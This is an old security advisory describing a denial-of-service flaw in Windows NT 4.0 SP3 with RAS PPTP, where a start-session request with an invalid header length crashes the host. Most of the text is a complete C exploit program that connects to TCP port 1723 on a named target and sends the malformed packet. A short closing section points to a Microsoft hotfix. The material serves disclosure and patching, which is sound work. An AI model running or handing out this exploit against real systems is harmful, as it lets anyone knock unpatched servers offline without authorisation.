COMMAND
NT RAS PPTP
SYSTEMS AFFECTED
Win NT with RAS PPTP
PROBLEM
Kevin Wormington found potenial DoS in Windows. He discovered
that NT 4.0 with SP3 and RAS PPTP is vulnerable to a DoS causing
core dump. You send a pptp start session request with an invalid
packet length in the pptp packet header that it will crash an NT
box.
Here is a very crude code fragment that will exploit this
behaviour:
/*
* Sample Windoze NT RAS PPTP exploit
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#define PPTP_MAGIC_COOKIE 0x1a2b3c4d
#define PPTP_CONTROL_HEADER_OFFSET 8
#define PPTP_REQUEST_OFFSET 12
typedef enum {
PPTP_CONTROL_PACKET = 1,
PPTP_MGMT_PACKET} PptpPacketType;
typedef enum {
PPTP_START_SESSION_REQUEST = 1,
PPTP_START_SESSION_REPLY,
PPTP_STOP_SESSION_REQUEST,
PPTP_STOP_SESSION_REPLY,
PPTP_ECHO_REQUEST,
PPTP_ECHO_REPLY,
PPTP_OUT_CALL_REQUEST,
PPTP_OUT_CALL_REPLY,
PPTP_IN_CALL_REQUEST,
PPTP_IN_CALL_REPLY,
PPTP_IN_CALL_CONNECTED,
PPTP_CALL_CLEAR_REQUEST,
PPTP_CALL_DISCONNECT_NOTIFY,
PPTP_WAN_ERROR_NOTIFY,
PPTP_SET_LINK_INFO,
PPTP_NUMBER_OF_CONTROL_MESSAGES} PptpControlMessageType;
typedef struct {
u_short packetLength;
u_short packetType;
u_long magicCookie;} PptpPacketHeader;
typedef struct {
u_short messageType;
u_short reserved;
} PptpControlHeader;
typedef struct {
u_long identNumber;} PptpEchoRequest;
typedef enum {
PPTP_ECHO_OK = 1,
PPTP_ECHO_GENERAL_ERROR} PptpEchoReplyResultCode;
typedef struct {
u_long identNumber;
u_char resultCode;
u_char generalErrorCode;
u_short reserved;} PptpEchoReply;
#define PPTP_FRAME_CAP_ASYNC 0x00000001L
#define PPTP_FRAME_CAP_SYNC 0x00000002L
#define PPTP_BEARER_CAP_ANALOG 0x00000001L
#define PPTP_BEARER_CAP_DIGITAL 0x00000002L
typedef struct {
u_short protocolVersion;
u_char reserved1;
u_char reserved2;
u_long framingCapability;
u_long bearerCapability;
u_short maxChannels;
u_short firmwareRevision;
char hostName[64];
char vendorString[64];} PptpStartSessionRequest;
int pptp_start_session (int);
int main(int argc, char **argv)
{
int pptp_sock, i, s, offset;
u_long src_ip, dst_ip = 0;
struct in_addr addr;
struct sockaddr_in sn;
struct hostent *hp;
struct servent *sp;
fd_set ctl_mask;
char buf[2048];
if((pptp_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
perror("tcp socket");
exit(1);
}
sp = getservbyname("pptp", "tcp"); /* port 1723 */
if (!sp)
{
fprintf(stderr, "pptp: tcp/pptp: unknown service\n");
exit(1);
}
hp = gethostbyname(argv[1]);
if (!hp) { fprintf (stderr, "Address no good.\n"); exit(1); }
memset(&sn, 0, sizeof(sn));
sn.sin_port = sp->s_port;
sn.sin_family = hp->h_addrtype;
if (hp->h_length > (int)sizeof(sn.sin_addr))
{
hp->h_length = sizeof(sn.sin_addr);
}
memcpy(&sn.sin_addr, hp->h_addr, hp->h_length);
if (connect(pptp_sock, (struct sockaddr *)&sn, sizeof(sn)) < 0)
{
perror("pptp: can't connect");
close(s);
exit(1);
}
pptp_start_session(pptp_sock);
fprintf(stderr, "Done\n");
close(pptp_sock);
return (0);
}
int pptp_start_session (int sock)
{
PptpPacketHeader packetheader;
PptpControlHeader controlheader;
PptpStartSessionRequest sessionrequest;
char packet[200];
int offset;
packetheader.packetLength = htons (20); /* whoops, i forgot to change it */
packetheader.packetType = htons(PPTP_CONTROL_PACKET);
packetheader.magicCookie = htonl(PPTP_MAGIC_COOKIE);
controlheader.messageType = htons(PPTP_START_SESSION_REQUEST);
controlheader.reserved = 0;
sessionrequest.protocolVersion = htons(1);
sessionrequest.reserved1 = 0;
sessionrequest.reserved2 = 0;
sessionrequest.framingCapability = htonl(PPTP_FRAME_CAP_ASYNC);
sessionrequest.bearerCapability = htonl(PPTP_BEARER_CAP_ANALOG);
sessionrequest.maxChannels = htons(32);
sessionrequest.firmwareRevision = htons(1);
memset(&sessionrequest.hostName, 0, sizeof (sessionrequest.hostName));
sprintf (sessionrequest.hostName, "%s", "mypc.anywhere.com");
memset(&sessionrequest.vendorString, 0, sizeof
(sessionrequest.vendorString));
sprintf (sessionrequest.vendorString, "%s", "Any Vendor");
memset(&packet, 0, sizeof(packet));
memcpy(&packet, &packetheader, sizeof(packetheader));
memcpy(&packet[PPTP_CONTROL_HEADER_OFFSET], &controlheader,
sizeof(controlheader));
memcpy(&packet[PPTP_REQUEST_OFFSET], &sessionrequest,
sizeof(sessionrequest));
send (sock, &packet, 156, 0);
return (0);
}
SOLUTION
The RRAS hotix 1.0 is available at:
http://www.microsoft.com/communications/rrasfix.htm